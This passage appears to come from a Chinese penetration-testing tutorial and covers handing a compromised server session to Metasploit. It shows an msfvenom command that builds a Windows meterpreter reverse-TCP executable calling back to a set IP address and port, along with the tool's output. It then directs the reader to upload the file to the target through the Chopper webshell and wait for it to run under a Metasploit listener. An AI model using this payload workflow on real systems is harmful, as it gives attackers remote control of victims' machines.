0x02 弹出会话到Metasploit
生成payload，然后用菜刀上传到目标服务器
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=114.115.123.123 LPORT=8888 -f exe -o aa.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: aa.exe
msf监听，等待payload执行
